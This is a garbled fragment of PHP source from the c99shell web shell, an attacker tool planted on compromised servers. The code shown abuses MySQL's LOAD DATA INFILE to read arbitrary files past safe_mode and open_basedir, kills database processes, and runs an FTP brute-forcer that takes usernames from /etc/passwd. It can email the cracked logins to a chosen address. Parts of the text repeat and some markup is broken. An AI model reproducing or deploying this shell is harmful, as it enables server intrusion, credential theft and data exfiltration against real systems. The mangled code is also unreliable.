 |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
";
if ((!empty($donated_html)) and (in_array($act,$donated_act))) {echo "
";} echo "
if (!empty($sql_act))
{
echo " | ||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
";
| Name | Value | ";
| ".$row[0]." | ".$row[1]." |
mysql_free_result($result);
}
if ($sql_act == "servervars")
{
$result = mysql_query("SHOW VARIABLES", $sql_sock);
echo "Server variables
";
echo "
| Name | Value | ";
| ".$row[0]." | ".$row[1]." |
mysql_free_result($result);
}
if ($sql_act == "processes")
{
if (!empty($kill)) {$query = "KILL ".$kill.";"; $result = mysql_query($query, $sql_sock); echo "Killing process #".$kill."... ok. he is dead, amen.";}
$result = mysql_query("SHOW PROCESSLIST", $sql_sock);
echo "Processes
";
echo "
| ID | USER | HOST | DB | COMMAND | TIME | STATE | INFO | Action | ";
| ".$row[0]." | ".$row[1]." | ".$row[2]." | ".$row[3]." | ".$row[4]." | ".$row[5]." | ".$row[6]." | ".$row[7]." | Kill |
mysql_free_result($result);
}
if ($sql_act == "getfile")
{
$tmpdb = $sql_login."_tmpdb";
$select = mysql_select_db($tmpdb);
if (!$select) {mysql_create_db($tmpdb); $select = mysql_select_db($tmpdb); $created = !!$select;}
if ($select)
{
$created = FALSE;
mysql_query("CREATE TABLE `tmp_file` ( `Viewing the file in safe_mode+open_basedir` LONGBLOB NOT NULL );");
mysql_query("LOAD DATA INFILE \"".addslashes($sql_getfile)."\" INTO TABLE tmp_file");
$result = mysql_query("SELECT * FROM tmp_file;");
if (!$result) {echo "Error in reading file (permision denied)!";}
else
{
for ($i=0;$i
$f = "";
while ($row = mysql_fetch_array($result, MYSQL_ASSOC)) {$f .= join ("\r\n",$row);}
if (empty($f)) {echo "File \"".$sql_getfile."\" does not exists or empty!
";}
else {echo "File \"".$sql_getfile."\"
".nl2br(htmlspecialchars($f))."
";}
mysql_free_result($result);
mysql_query("DROP TABLE tmp_file;");
}
}
mysql_drop_db($tmpdb); //comment it if you want to leave database
}
}
}
}
echo "
$f = "";
while ($row = mysql_fetch_array($result, MYSQL_ASSOC)) {$f .= join ("\r\n",$row);}
if (empty($f)) {echo "File \"".$sql_getfile."\" does not exists or empty!
";}
else {echo "File \"".$sql_getfile."\"
".nl2br(htmlspecialchars($f))."
";}
mysql_free_result($result);
mysql_query("DROP TABLE tmp_file;");
}
}
mysql_drop_db($tmpdb); //comment it if you want to leave database
}
}
}
}
echo "
if ($sql_sock)
{
$affected = @mysql_affected_rows($sql_sock);
if ((!is_numeric($affected)) or ($affected < 0)){$affected = 0;}
echo "Affected rows ".$affected."
}
".$affected."
echo "
}
if ($act == "mkdir")
{
if ($mkdir != $d)
{
if (file_exists($mkdir)) {echo "Make Dir \"".htmlspecialchars($mkdir)."\"
object alredy exists";}
elseif (!mkdir($mkdir)) {echo "Make Dir \"".htmlspecialchars($mkdir)."\"
access denied";}
echo "
";
}
$act = $dspact = "ls";
}
if ($act == "ftpquickbrute")
{
echo "Ftp Quick brute
";
if (!win) {echo "This functions not work in Windows!
";}
else
{
function c99ftpbrutecheck($host,$port,$timeout,$login,$pass,$sh,$fqb_onlywithsh)
{
if ($fqb_onlywithsh) {$TRUE = (!in_array($sh,array("/bin/FALSE","/sbin/nologin")));}
else {$TRUE = TRUE;}
if ($TRUE)
{
$sock = @ftp_connect($host,$port,$timeout);
if (@ftp_login($sock,$login,$pass))
{
echo "//".$login." ".$pass."@".$host."\" target=\"_blank\">Connected to ".$host." with login \"".$login."\" and password \"".$pass."\"
.
";
ob_flush();
return TRUE;
}
}
}
if (!empty($submit))
{
if (!is_numeric($fqb_lenght)) {$fqb_lenght = $nixpwdperpage;}
$fp = fopen("/etc/passwd","r");
if (!$fp) {echo "Can't get /etc/passwd for password-list.";}
else
{
if ($fqb_logging)
{
if ($fqb_logfile) {$fqb_logfp = fopen($fqb_logfile,"w");}
else {$fqb_logfp = FALSE;}
$fqb_log = "FTP Quick Brute (called c99shell v. ".$shver.") started at ".date("d.m.Y H
i s")."\r\n\r\n";
if ($fqb_logfile) {fwrite($fqb_logfp,$fqb_log,strlen($fqb_log));}
}
ob_flush();
$i = $success = 0;
$ftpquick_st = getmicrotime();
while(!feof($fp))
{
$str = explode("
",fgets($fp,2048));
if (c99ftpbrutecheck("localhost",21,1,$str[0],$str[0],$str[6],$fqb_onlywithsh))
{
echo "Connected to ".getenv("SERVER_NAME")." with login \"".$str[0]."\" and password \"".$str[0]."\"
";
$fqb_log .= "Connected to ".getenv("SERVER_NAME")." with login \"".$str[0]."\" and password \"".$str[0]."\", at ".date("d.m.Y H
i s")."\r\n";
if ($fqb_logfp) {fseek($fqb_logfp,0); fwrite($fqb_logfp,$fqb_log,strlen($fqb_log));}
$success++;
ob_flush();
}
if ($i > $fqb_lenght) {break;}
$i++;
}
if ($success == 0) {echo "No success. connections!"; $fqb_log .= "No success. connections!\r\n";}
$ftpquick_t = round(getmicrotime()-$ftpquick_st,4);
echo "
Done!
Total time (secs.)
".$ftpquick_t."
Total connections ".$i."
Success.
$fqb_log .= "\r\n------------------------------------------\r\nDone!\r\nTotal time (secs.)
".$ftpquick_t."\r\nTotal connections ".$i."\r\nSuccess.
if ($fqb_logfp) {fseek($fqb_logfp,0); fwrite($fqb_logfp,$fqb_log,strlen($fqb_log));}
if ($fqb_logemail) {@mail($fqb_logemail,"c99shell v. ".$shver." report",$fqb_log);}
fclose($fqb_logfp);
}
}
else
{
$logfile = $tmpdir_logs."c99sh_ftpquickbrute_".date("d.m.Y_H_i_s").".log";
$logfile = str_replace("//",DIRECTORY_SEPARATOR,$logfile);
echo "
";}
}
}
if ($act == "d")
{
if (!is_dir($d)) {echo "Permision denied! ";}
else
{
echo "Directory information
| Owner/Group | ";
$ow = posix_getpwuid(fileowner($d));
$gr = posix_getgrgid(filegroup($d));
$row[] = ($ow["name"]?$ow["name"]fileowner($d))."/".($gr["name"]?$gr["name"] filegroup($d)); }
echo "Perms | ".view_perms_color($d)." | Create time | ".date("d/m/Y H | i s",filectime($d))." Access time | ".date("d/m/Y H | }
}
if ($act == "phpinfo") {@ob_clean(); phpinfo(); c99shexit();}
if ($act == "security")
{
echo " |